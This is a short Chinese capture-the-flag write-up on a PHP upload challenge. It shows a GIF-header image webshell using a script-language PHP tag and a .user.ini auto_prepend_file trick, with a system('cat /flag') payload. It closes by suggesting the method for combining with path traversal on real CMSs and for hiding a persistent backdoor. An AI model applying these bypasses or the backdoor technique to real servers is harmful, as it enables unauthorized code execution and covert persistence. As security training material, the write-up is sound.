0x01 题目描述
打开网页发现是一个上传的页面
1、我们随便上传一个php文件试试
错误的后缀名
2、我们试试上传图片
这儿可以猜测是exif_imagetype()
函数判断是不是图片,这个很好绕过,在文件头添加图片头就可以了,例如gif
的文件头GIF89a
3、我们在图片中添加php
代码。
图片里面不能含有 <?
,我们可以用其它语句绕过
<script language=”php”>xxx</script>
<% xxx %>
<? xxx ?>
0x02 思路清理
1、不能上传带有<?的文件
2、上传的文件必须含有图片头
解决方法,我们可以先上传一个.user.ini进去,用来解析含有php代码的图片,即可达到绕过限制的目的。
上传图片a.gif
包含的代码
GIF89a
<script language='php'>system('cat /flag');</script>
上传的.user.ini
的代码
GIF89a
auto_prepend_file=a.gif
auto_prepend_file=a.gif
这句话相当于当前文件夹中的所有php文件都会包含a.gif
0x03 答题
上传这两个文件后显示
我们直接访问上传目录中的index.php
出题人故意在上传目录中设置一个可以访问的php
文件,这样我么才能包含上传的图片代码,但在现实例子中较为少见。
0x04 .user.ini实战利用的可能性
综上所述.user.ini
的利用条件如下:
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
从这来看.user.ini
要比.htaccess
的应用范围要广一些,毕竟.htaccess
只能用于Apache
但仔细推敲我们就会感到“上传目录下要有可执行的php文件”这个要求在文件上传中也比较苛刻,应该没有天才开发者会把上传文件放在主目录或者把php
文件放在上传文件夹。
但也不是全无办法,如果我们根据实际情况配合其他漏洞使用可能会有奇效,前段时间我遇到一个CMS
对上传时的路径没有检测../
,因此导致文件可被上传至任意目录,这种情况下我们就很有可能可以利用.user.ini
除此之外,把.user.ini
利用在隐藏后门上应该是个很好的利用方法,我们在存在php文件的目录下留下.user.ini
和我们的图片马,这样就达到了隐藏后门的目的。